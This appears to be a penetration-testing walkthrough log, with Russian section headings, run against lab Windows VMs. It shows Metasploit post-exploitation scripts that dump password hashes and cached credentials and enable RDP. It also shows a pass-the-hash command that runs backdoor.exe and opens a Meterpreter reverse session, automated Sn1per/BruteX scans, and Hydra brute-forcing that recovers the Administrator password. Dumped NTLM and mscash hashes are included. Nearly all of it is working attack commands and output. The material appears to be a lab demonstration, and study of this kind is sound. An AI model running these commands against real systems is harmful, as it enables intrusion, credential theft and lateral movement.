-rwxr-xr-x 1 root root 0 Nov 2 10:42 AUTOEXEC.BAT

-rwxr-xr-x 1 root root 73K Feb 1 07:36 backdoor.exe

-rwxr-xr-x 1 root root 211 Nov 2 10:38 boot.ini

-rwxr-xr-x 1 root root 0 Nov 2 10:42 CONFIG.SYS

drwxr-xr-x 2 root root 0 Jan 31 14:57 Documents and Settings

-rwxr-xr-x 1 root root 2.2M Jun 10 2014 FL Studio VSTi.dll

-rwxr-xr-x 1 root root 2.2M Jun 10 2014 FL Studio VSTi (Multi).dll

-r-xr-xr-x 1 root root 0 Nov 2 10:42 IO.SYS

-r-xr-xr-x 1 root root 0 Nov 2 10:42 MSDOS.SYS

-r-xr-xr-x 1 root root 47K Aug 4 2004 NTDETECT.COM

-r-xr-xr-x 1 root root 245K Aug 4 2004 ntldr

-rwxr-xr-x 1 root root 768M Jan 30 14:36 pagefile.sys

dr-xr-xr-x 2 root root 0 Dec 26 10:31 Program Files

drwxr-xr-x 2 root root 0 Jan 31 20:44 RECYCLER

drwxr-xr-x 2 root root 0 Nov 2 10:45 System Volume Information

drwxr-xr-x 2 root root 0 Jan 31 17:10 WINDOWS

Пост эксплуатация

root@kali# vim metasploit-windows-post.rc

setg SESSION 9

use post/windows/gather/smart_hashdump

run

use post/windows/gather/credentials/domain_hashdump

run

use post/windows/gather/credentials/mcafee_vse_hashdump

run

use post/windows/gather/credentials/mssql_local_hashdump

run

use post/windows/gather/hashdump

run

use post/windows/gather/enum_shares

run

use post/windows/gather/enum_patches

run

use post/windows/gather/credentials/domain_hashdump

run

use post/windows/manage/enable_rdp

run

use post/windows/gather/enum_domain

run

use post/windows/gather/credentials/credential_collector

run

use post/windows/gather/enum_computers

run

use post/windows/gather/cachedump

run

use post/windows/gather/enum_ad_computers

run

root@kali# pth-winexe -U XEROSECURITY/Administrator%Password123$ --system //192.168.1.129 "backdoor.exe"

msf post(enum_ad_computers) >

[*] Sending stage (957487 bytes) to 192.168.1.129

[*] Meterpreter session 9 opened (192.168.1.113:4444 -> 192.168.1.129:3643) at 2016-02-01 07:43:57 -0500

msf post(enum_ad_computers) >

msf post(enum_ad_computers) > resource /pentest/windows/metasploit-windows-post-exploitation-critical.rc

[*] Processing /pentest/windows/metasploit-windows-post-exploitation-critical.rc for ERB directives.

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> setg SESSION 9

SESSION => 9

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> use post/windows/gather/
smart_hashdump

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> run

[*] Running module against TEST-3F6416AC49

[*] Hashes will be saved to the database if one is connected.

[*] Hashes will be saved in loot in JtR password file format to:

[*] /root/.msf5/loot/20160201074415_default_192.168.1.129_windows.hashes_180907.txt

[*] Dumping password hashes...

[*] Running as SYSTEM extracting hashes from registry

[*]     Obtaining the boot key...

[*]     Calculating the hboot key using SYSKEY 4479be5b4080a2c10a6095f17c263ff5...

[*]     Obtaining the user list and keys...

[*]     Decrypting user keys...

[*]     Dumping password hints...

[*]     No users with password hints on this system

[*]     Dumping password hashes...

[+]         Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::

[+]         HelpAssistant:1000:447873b78295638165d0a1a58736c426:c379debb205ae80e84bda1b3d430b6c8:::

[+]         SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:1534c54bed98875639d7e77ae9d51345:::

[+]         test:1003:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::

[+]         test2:1004:e52cac67419a9a2217e4c3576fe93615:b490b475e987909ae9bd83a65aa94665:::

[+]         hacker:1005:e52cac67419a9a2217e4c3576fe93615:b490b475e987909ae9bd83a65aa94665:::

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> use post/windows/gather/
credentials/domain_hashdump

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> run

[-] This does not appear to be an AD Domain Controller

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> use post/windows/gather/
credentials/mcafee_vse_hashdump

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> run

[*] Looking for McAfee VSE password hashes on TEST-3F6416AC49 ...

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> use post/windows/gather/
credentials/mssql_local_hashdump

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> run

[*] Running module against TEST-3F6416AC49

[-] Post failed: RuntimeError unknown: Unable to identify a SQL client

[-] Call stack:

[-]   /usr/share/metasploit-framework/lib/msf/core/module.rb:291:in `fail_with'

[-]   /usr/share/metasploit-framework/modules/post/windows/gather/credentials/mssql_local_hashdump.
rb:51:in `run'

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> use post/windows/gather/
hashdump

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> run

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY 4479be5b4080a2c10a6095f17c263ff5...

[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...

Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

HelpAssistant:1000:447873b78295638165d0a1a58736c426:c379debb205ae80e84bda1b3d430b6c8:::

SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:1534c54bed98875639d7e77ae9d51345:::

test:1003:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::

test2:1004:e52cac67419a9a2217e4c3576fe93615:b490b475e987909ae9bd83a65aa94665:::

hacker:1005:e52cac67419a9a2217e4c3576fe93615:b490b475e987909ae9bd83a65aa94665:::

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> use post/windows/
gather/enum_shares

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> run

[*] Running against session 9

[*] The following shares were found:

[*]     Name: C

[*]     Path: C:\

[*]     Type: 0

[*]

[*]     Name: Downloads

[*]     Path: C:\Documents and Settings\test\My Documents\Downloads

[*]     Type: 0

[*]

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> use post/windows/gather/
enum_patches

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> run

[+] KB2871997 is missing

[+] KB2928120 is missing

[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86)

[+] KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008

[+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2

[+] KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity

[+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1

[+] KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> use post/windows/gather/
credentials/domain_hashdump

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> run

[-] This does not appear to be an AD Domain Controller

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> use post/windows/manage/enable_rdp

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> run

[*] Enabling Remote Desktop

[*]     RDP is already enabled

[*] Setting Terminal Services service startup mode

[*]     Terminal Services service is already set to auto

[*]     Opening port in local firewall if necessary

[*] For cleanup execute Meterpreter resource file: /root/.msf5/loot/
20160201074436_default_192.168.1.129_host.windows.cle_349030.txt

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> use post/windows/gather/
enum_domain

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> run

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> use post/windows/gather/
credentials/credential_collector

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> run

[*] Running module against TEST-3F6416AC49

[+] Collecting hashes...

    Extracted: Administrator:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c

    Extracted: Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

    Extracted: hacker:e52cac67419a9a2217e4c3576fe93615:b490b475e987909ae9bd83a65aa94665

    Extracted: HelpAssistant:447873b78295638165d0a1a58736c426:c379debb205ae80e84bda1b3d430b6c8

    Extracted: SUPPORT_388945a0:aad3b435b51404eeaad3b435b51404ee:1534c54bed98875639d7e77ae9d51345

    Extracted: test:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c

    Extracted: test2:e52cac67419a9a2217e4c3576fe93615:b490b475e987909ae9bd83a65aa94665

[+] Collecting tokens...

    NT AUTHORITY\LOCAL SERVICE

    NT AUTHORITY\NETWORK SERVICE

    NT AUTHORITY\SYSTEM

    XEROSECURITY\Administrator

    NT AUTHORITY\ANONYMOUS LOGON

    TEST-3F6416AC49\Administrator

    TEST-3F6416AC49\Guest

    TEST-3F6416AC49\test

    XEROSECURITY\user

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> use post/windows/gather/
enum_computers

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> run

[*] Running module against TEST-3F6416AC49

[-] This host is not part of a domain.

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> use post/windows/gather/
cachedump

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> run

[*] Executing module against TEST-3F6416AC49

[*] Cached Credentials Setting: 10 - (Max is 50 and 0 disables, and 10 is default)

[*] Obtaining boot key...

[*] Obtaining Lsa key...

[*] XP or below system

[*] Obtaining LK$KM...

[*] Dumping cached credentials...

[*] Hash are in MSCACHE format. (mscash)

[*] MSCACHE v1 saved in: /root/.msf5/loot/20160201074451_default_192.168.1.129_mscache.creds_214171.txt

[*] John the Ripper format:

# mscash

user:M$user#c158f3e72ab78ed2adb9d0fab0e1ec23:XEROSECURITY.COMn:XEROSECURITY

administrator:M$administrator#0620d5420b059bf1ead3532f9ec4ddff:XEROSECURITY.COMA:XEROSECURITY

[*] Post module execution completed

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> use post/windows/gather/
enum_ad_computers

resource (/pentest/windows/metasploit-windows-post-exploitation-critical.rc)> run

[-] extapi_adsi_domain_query: Operation failed: 2147950650

[*] Post module execution completed

Поиск уязвимостей

root@kali:/pentest/loot# sniper 192.168.1.138

[3;J

                ____

    _________  /  _/___  ___  _____

   / ___/ __ \ / // __ \/ _ \/ ___/

  (__  ) / / // // /_/ /  __/ /

 /____/_/ /_/___/ .___/\___/_/

/_/

 + -- --=[http://crowdshield.com

 + -- --=[sn1per v1.6 by 1N3

################################### Running recon #################################

Server:        206.248.154.22

Address:       206.248.154.22#53

** server can't find 138.1.168.192.in-addr.arpa: NXDOMAIN

Host 138.1.168.192.in-addr.arpa. not found: 3(NXDOMAIN)

################################### Pinging host ###################################

PING 192.168.1.138 (192.168.1.138) 56(84) bytes of data.

64 bytes from 192.168.1.138: icmp_seq=1 ttl=128 time=0.555 ms

--- 192.168.1.138 ping statistics ---

1 packets transmitted, 1 received, 0% packet loss, time 0ms

rtt min/avg/max/mdev = 0.555/0.555/0.555/0.000 ms

################################### Running port scan ##############################

Starting Nmap 7.01 ( https://nmap.org ) at 2016-01-30 20:10 EST

Nmap scan report for 192.168.1.138

Host is up (0.00021s latency).

Not shown: 65506 closed ports

PORT      STATE SERVICE      VERSION

42/tcp    open  tcpwrapped

53/tcp    open  domain       Microsoft DNS

80/tcp    open  http         Microsoft IIS httpd 8.5

| http-methods:

|_  Potentially risky methods: TRACE

|_http-server-header: Microsoft-IIS/8.5

|_http-title: IIS Windows Server

88/tcp    open  kerberos-sec Windows 2003 Kerberos (server time: 2016-01-31 01:16:20Z)

135/tcp   open  msrpc        Microsoft Windows RPC

139/tcp   open  netbios-ssn  Microsoft Windows 98 netbios-ssn

389/tcp   open  ldap

445/tcp   open  microsoft-ds (primary domain: XEROSECURITY)

464/tcp   open  kpasswd5?

593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0

636/tcp   open  tcpwrapped

3268/tcp  open  ldap

3269/tcp  open  tcpwrapped

5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Not Found

9389/tcp  open  mc-nmf       .NET Message Framing

47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Not Found

49152/tcp open  msrpc        Microsoft Windows RPC

49153/tcp open  msrpc        Microsoft Windows RPC

49154/tcp open  msrpc        Microsoft Windows RPC

49155/tcp open  msrpc        Microsoft Windows RPC

49157/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0

49158/tcp open  msrpc        Microsoft Windows RPC

49159/tcp open  msrpc        Microsoft Windows RPC

49164/tcp open  msrpc        Microsoft Windows RPC

49165/tcp open  msrpc        Microsoft Windows RPC

49168/tcp open  msrpc        Microsoft Windows RPC

49170/tcp open  msrpc        Microsoft Windows RPC

49174/tcp open  msrpc        Microsoft Windows RPC

49188/tcp open  msrpc        Microsoft Windows RPC

1 service unrecognized despite returning data. If you know the service/version, please submit the 
following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

SF-Port445-TCP:V=7.01%I=7%D=1/30%Time=56AD6069%P=x86_64-pc-linux-gnu%r(SMB

SF:ProgNeg,8B,"\0\0\0\x87\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0

SF:\0\0@\x06\0\0\x01\0\x11\x07\0\x0f2\0\x01\0\x04A\0\0\0\0\x01\0\0\0\0\0\x

SF:fc\xf3\x01\0\xb3\xf6R\xfe\xc4\[\xd1\x01,\x01\x08B\0\^<\x83\x86R\x92\x93

SF:\x9bX\0E\0R\0O\0S\0E\0C\0U\0R\0I\0T\0Y\0\0\0W\0I\0N\0-\x008\0M\0S\0B\x0

SF:02\0D\0D\x005\x002\0P\x009\0\0\0");

MAC Address: 00:0C:29:82:29:F9 (VMware)

Device type: general purpose

Running: Microsoft Windows 7|2012|8.1

OS CPE: cpe:/o:microsoft:windows_7:::ultimate cpe:/o:microsoft:windows_2012 cpe:/o:microsoft:windows_8.1

OS details: Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1

Network Distance: 1 hop

Service Info: Host: WIN-8MSB2DD52P9; OSs: Windows, Windows 98; CPE: cpe:/o:microsoft:windows, 
cpe:/o:microsoft:windows_server_2003, cpe:/o:microsoft:windows_98

Host script results:

|_nbstat: NetBIOS name: WIN-8MSB2DD52P9, NetBIOS user: , NetBIOS MAC: 00:0c:29:82:29:f9 (VMware)

| smb-os-discovery:

|   OS: Windows Server 2012 R2 Datacenter 9600 (Windows Server 2012 R2 Datacenter 6.3)

|   OS CPE: cpe:/o:microsoft:windows_server_2012::-

|   Computer name: WIN-8MSB2DD52P9

|   NetBIOS computer name: WIN-8MSB2DD52P9

|   Domain name: xerosecurity.com

|   Forest name: xerosecurity.com

|   FQDN: WIN-8MSB2DD52P9.xerosecurity.com

|_  System time: 2016-01-30T20:17:18-05:00

| smb-security-mode:

|   account_used: guest

|   authentication_level: user

|   challenge_response: supported

|_  message_signing: required

|_smbv2-enabled: Server supports SMBv2 protocol

TRACEROUTE

HOP RTT     ADDRESS

1   0.21 ms 192.168.1.138

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 408.91 seconds

Starting Nmap 7.01 ( https://nmap.org ) at 2016-01-30 20:17 EST

Nmap scan report for 192.168.1.138

Host is up (0.00021s latency).

Not shown: 5 closed ports

PORT    STATE         SERVICE      VERSION

53/udp  open          domain       Microsoft DNS

|_dns-recursion: Recursion appears to be enabled

67/udp  open|filtered dhcps

88/udp  open          kerberos-sec Windows 2003 Kerberos (server time: 2016-01-31 01:17:36Z)

137/udp open          netbios-ns   Microsoft Windows netbios-ssn (workgroup: XEROSECURITY)

138/udp open|filtered netbios-dgm

161/udp open|filtered snmp

| snmp-hh3c-logins:

|_  baseoid: 1.3.6.1.4.1.25506.2.12.1.1.1

389/udp open|filtered ldap

MAC Address: 00:0C:29:82:29:F9 (VMware)

Too many fingerprints match this host to give specific OS details

Network Distance: 1 hop

Service Info: Host: WIN-8MSB2DD52P9; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2003, 
cpe:/o:microsoft:windows

Host script results:

|_nbstat: NetBIOS name: WIN-8MSB2DD52P9, NetBIOS user: , NetBIOS MAC: 00:0c:29:82:29:f9 (VMware)

TRACEROUTE

HOP RTT     ADDRESS

1   0.21 ms 192.168.1.138

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 106.15 seconds

################################### Running Intrusive Scans ########################

+ -- --=[Port 21 closed... skipping.

+ -- --=[Port 22 closed... skipping.

+ -- --=[Port 23 closed... skipping.

+ -- --=[Port 25 closed... skipping.

+ -- --=[Port 53 opened... running tests...

Starting Nmap 7.01 ( https://nmap.org ) at 2016-01-30 20:19 EST

Nmap scan report for 192.168.1.138

Host is up (0.00021s latency).

PORT   STATE SERVICE VERSION

53/tcp open  domain?

|_dns-fuzz: ERROR: Script execution failed (use -d to debug)

|_dns-nsec-enum: Can't determine domain for host 192.168.1.138; use dns-nsec-enum.domains script arg.

|_dns-nsec3-enum: Can't determine domain for host 192.168.1.138; use dns-nsec3-enum.domains script arg.

MAC Address: 00:0C:29:82:29:F9 (VMware)

Host script results:

| dns-blacklist:

|   SPAM

|_    l2.apews.org - FAIL

|_dns-brute: Can't guess domain of "192.168.1.138"; use dns-brute.domain script argument.

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 144.06 seconds

+ -- --=[Port 79 closed... skipping.

+ -- --=[Port 80 opened... running tests...

                                 ^     ^

        _   __  _   ____ _   __  _    _   ____

       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/

      | V V // o // _/ | V V // 0 // 0 // _/

      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/

                                 ...'

    WAFW00F - Web Application Firewall Detection Tool

    By Sandro Gauci && Wendel G. Henrique

Checking http://192.168.1.138

Generic Detection results:

The site http://192.168.1.138 seems to be behind a WAF

Reason: The server header is different when an attack is detected.

The server header for a normal response is "Microsoft-IIS/8.5", while the server header a response 
to an attack is "Microsoft-HTTPAPI/2.0.",

Number of requests: 12

http://192.168.1.138 [200] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/8.5], IP[192.168.1.138],
 Microsoft-IIS[8.5], Title[IIS Windows Server]

+ -- --=[Port 139 opened... running tests...

Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Jan 30 20:22:46 2016

 ==========================

|    Target Information    |

 ==========================

Target ........... 192.168.1.138

RID Range ........ 500-550,1000-1050

Username ......... ''

Password ......... ''

Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

 =====================================================

|    Enumerating Workgroup/Domain on 192.168.1.138    |

 =====================================================

[+] Got domain/workgroup name: XEROSECURITY

 =============================================

|    Nbtstat Information for 192.168.1.138    |

 =============================================

Looking up status of 192.168.1.138

        WIN-8MSB2DD52P9 <00> -         M   Workstation Service

        XEROSECURITY    <00> -  M   Domain/Workgroup Name

        XEROSECURITY    <1c> -  M   Domain Controllers

        WIN-8MSB2DD52P9 <20> -         M   File Server Service

        XEROSECURITY    <1b> -         M   Domain Master Browser

        MAC Address = 00-0C-29-82-29-F9

 ======================================

|    Session Check on 192.168.1.138    |

 ======================================

[+] Server 192.168.1.138 allows sessions using username '', password ''

 ============================================

|    Getting domain SID for 192.168.1.138    |

 ============================================

Domain Name: XEROSECURITY

Domain Sid: S-1-5-21-1088676282-494858925-2056655024

[+] Host is part of a domain (not a workgroup)

 =======================================

|    OS information on 192.168.1.138    |

 =======================================

[+] Got OS info for 192.168.1.138 from smbclient: Domain=[XEROSECURITY] OS=[Windows Server 2012 R2 
Datacenter 9600] Server=[Windows Server 2012 R2 Datacenter 6.3]

[+] Got OS info for 192.168.1.138 from srvinfo:

Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED

 ==============================

|    Users on 192.168.1.138    |

 ==============================

[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED

[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED

 ==========================================

|    Share Enumeration on 192.168.1.138    |

 ==========================================

[E] Can't list shares: NT_STATUS_ACCESS_DENIED

[+] Attempting to map shares on 192.168.1.138

 =====================================================

|    Password Policy Information for 192.168.1.138    |

 =====================================================

[E] Can't connect to host with supplied credentials.

[E] Failed to get password policy with rpcclient

 ===============================

|    Groups on 192.168.1.138    |

 ===============================

[+] Getting builtin groups:

[+] Getting builtin group memberships:

[+] Getting local groups:

[+] Getting local group memberships:

[+] Getting domain groups:

[+] Getting domain group memberships:

 ========================================================================

|    Users on 192.168.1.138 via RID cycling (RIDS: 500-550,1000-1050)    |

 ========================================================================

[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.

 ==============================================

|    Getting printer info for 192.168.1.138    |

 ==============================================

Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED

enum4linux complete on Sat Jan 30 20:22:46 2016

Traceback (most recent call last):

  File "bin/samrdump.py", line 159, in

    logger.init()

AttributeError: 'module' object has no attribute 'init'

Doing NBT name scan for addresses from 192.168.1.138

IP address       NetBIOS Name     Server    User             MAC address

------------------------------------------------------------------------------

192.168.1.138    WIN-8MSB2DD52P9            00:0c:29:82:29:f9

Starting Nmap 7.01 ( https://nmap.org ) at 2016-01-30 20:22 EST

Nmap scan report for 192.168.1.138

Host is up (0.00023s latency).

PORT    STATE SERVICE     VERSION

139/tcp open  netbios-ssn Microsoft Windows 98 netbios-ssn

MAC Address: 00:0C:29:82:29:F9 (VMware)

Service Info: OS: Windows 98; CPE: cpe:/o:microsoft:windows_98

Host script results:

| smb-brute:

|_  guest: => Valid credentials, account disabled

| smb-enum-shares:

|   note: ERROR: Enumerating shares failed, guessing at common ones (NT_STATUS_ACCESS_DENIED)

|   account_used:

|   ADMIN$:

|     warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED

|     Anonymous access:

|   C$:

|     warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED

|     Anonymous access:

|   DESKTOP:

|     warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED

|     Anonymous access:

|   IPC$:

|     warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED

|     Anonymous access: READ

|   NETLOGON:

|     warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED

|_    Anonymous access:

| smb-mbenum:

|_  ERROR: Call to Browser Service failed with status = 2184

| smb-os-discovery:

|   OS: Windows Server 2012 R2 Datacenter 9600 (Windows Server 2012 R2 Datacenter 6.3)

|   OS CPE: cpe:/o:microsoft:windows_server_2012::-

|   Computer name: WIN-8MSB2DD52P9

|   NetBIOS computer name: WIN-8MSB2DD52P9

|   Domain name: xerosecurity.com

|   Forest name: xerosecurity.com

|   FQDN: WIN-8MSB2DD52P9.xerosecurity.com

|_  System time: 2016-01-30T20:23:40-05:00

|_smb-print-text: false

| smb-psexec: Can't find the service file: nmap_service.exe (or nmap_service).

| Due to false positives in antivirus software, this module is no

| longer included by default. Please download it from

| https://nmap.org/psexec/nmap_service.exe

|_and place it in nselib/data/psexec/ under the Nmap DATADIR.

| smb-security-mode:

|   account_used:

|   authentication_level: user

|   challenge_response: supported

|_  message_signing: required

|_smb-vuln-ms10-054: false

|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED

|_smbv2-enabled: Server supports SMBv2 protocol

 __________                __         ____  ___

 \______   \_______ __ ___/  |_  ____ \   \/  /

  |    |  _/\_  __ \  |  \   __\/ __ \ \     /

  |    |   \ |  | \/  |  /|  | \  ___/ /     \

  |______  / |__|  |____/ |__|  \___  >___/\  \

         \/                         \/      \_/

 + -- --=[BruteX v1.3 by 1N3

 + -- --=[http://crowdshield.com

################################### Running Port Scan ##############################

Starting Nmap 7.01 ( https://nmap.org ) at 2016-01-30 20:29 EST

Nmap scan report for 192.168.1.138

Host is up (0.00081s latency).

Not shown: 21 closed ports

PORT    STATE SERVICE

53/tcp  open  domain

80/tcp  open  http

139/tcp open  netbios-ssn

389/tcp open  ldap

445/tcp open  microsoft-ds

MAC Address: 00:0C:29:82:29:F9 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds

################################### Running Brute Force ############################

 + -- --=[Port 21 closed... skipping.

 + -- --=[Port 22 closed... skipping.

 + -- --=[Port 23 closed... skipping.

 + -- --=[Port 25 closed... skipping.

 + -- --=[Port 80 opened... running tests...

-----------------

DIRB v2.22

By The Dark Raver

-----------------

START_TIME: Sat Jan 30 20:29:21 2016

URL_BASE: http://192.168.1.138/

WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.1.138/ ----

-----------------

END_TIME: Sat Jan 30 20:29:23 2016

DOWNLOADED: 4612 - FOUND: 0

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or 
for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-01-30 20:29:23

[WARNING] http-head auth does not work with every server, better use http-get

[DATA] max 30 tasks per 1 server, overall 64 tasks, 1496 login tries (l:34/p:44), ~0 tries per task

[DATA] attacking service http-head on port 80

[80][http-head] host: 192.168.1.138   login: admin   password: <<< %s(un='%s') = %u

[STATUS] attack finished for 192.168.1.138 (valid pair found)

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2016-01-30 20:29:23

 + -- --=[Port 110 closed... skipping.

 + -- --=[Port 139 opened... running tests...

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, 
or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-01-30 20:29:23

[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)

[DATA] max 1 task per 1 server, overall 64 tasks, 176 login tries (l:4/p:44), ~2 tries per task

[DATA] attacking service smb on port 445 with SSL

[445][smb] host: 192.168.1.138   login: Administrator   password: Password123$

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2016-01-30 20:29:24

 + -- --=[Port 389 opened... running tests...

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or 
for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-01-30 20:29:24

[ERROR] you may only use one of -l, -L or -m

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or
 for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-01-30 20:29:24

[ERROR] you may only use one of -l, -L or -m

 + -- --=[Port 443 closed... skipping.

 + -- --=[Port 445 opened... running tests...

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or 
for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-01-30 20:29:24

[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)

[DATA] max 1 task per 1 server, overall 64 tasks, 176 login tries (l:4/p:44), ~2 tries per task

[DATA] attacking service smb on port 445 with SSL

[445][smb] host: 192.168.1.138   login: Administrator   password: Password123$

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2016-01-30 20:29:24

################################### Done! ###########################################

Брутфорс

root@kali:/pentest/web/Sn1per/BruteX# ./brutex 192.168.1.129

[3;J

 __________                __         ____  ___

 \______   \_______ __ ___/  |_  ____ \   \/  /

  |    |  _/\_  __ \  |  \   __\/ __ \ \     /

  |    |   \ |  | \/  |  /|  | \  ___/ /     \

  |______  / |__|  |____/ |__|  \___  >___/\  \

         \/                         \/      \_/

 + -- --=[BruteX v1.3 by 1N3

 + -- --=[http://crowdshield.com

################################### Running Port Scan ##############################

Starting Nmap 7.01 ( https://nmap.org ) at 2016-02-01 07:07 EST

Nmap scan report for 192.168.1.129

Host is up (0.0011s latency).

Not shown: 23 closed ports

PORT     STATE SERVICE

139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds

3389/tcp open  ms-wbt-server

MAC Address: 00:0C:29:FB:8C:7C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds

################################### Running Brute Force ############################

 + -- --=[Port 21 closed... skipping.

 + -- --=[Port 22 closed... skipping.

 + -- --=[Port 23 closed... skipping.

 + -- --=[Port 25 closed... skipping.

 + -- --=[Port 80 closed... skipping.

 + -- --=[Port 110 closed... skipping.

 + -- --=[Port 139 opened... running tests...

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or 
for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-02-01 07:07:18

[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)

[DATA] max 1 task per 1 server, overall 64 tasks, 176 login tries (l:4/p:44), ~2 tries per task

[DATA] attacking service smb on port 445 with SSL

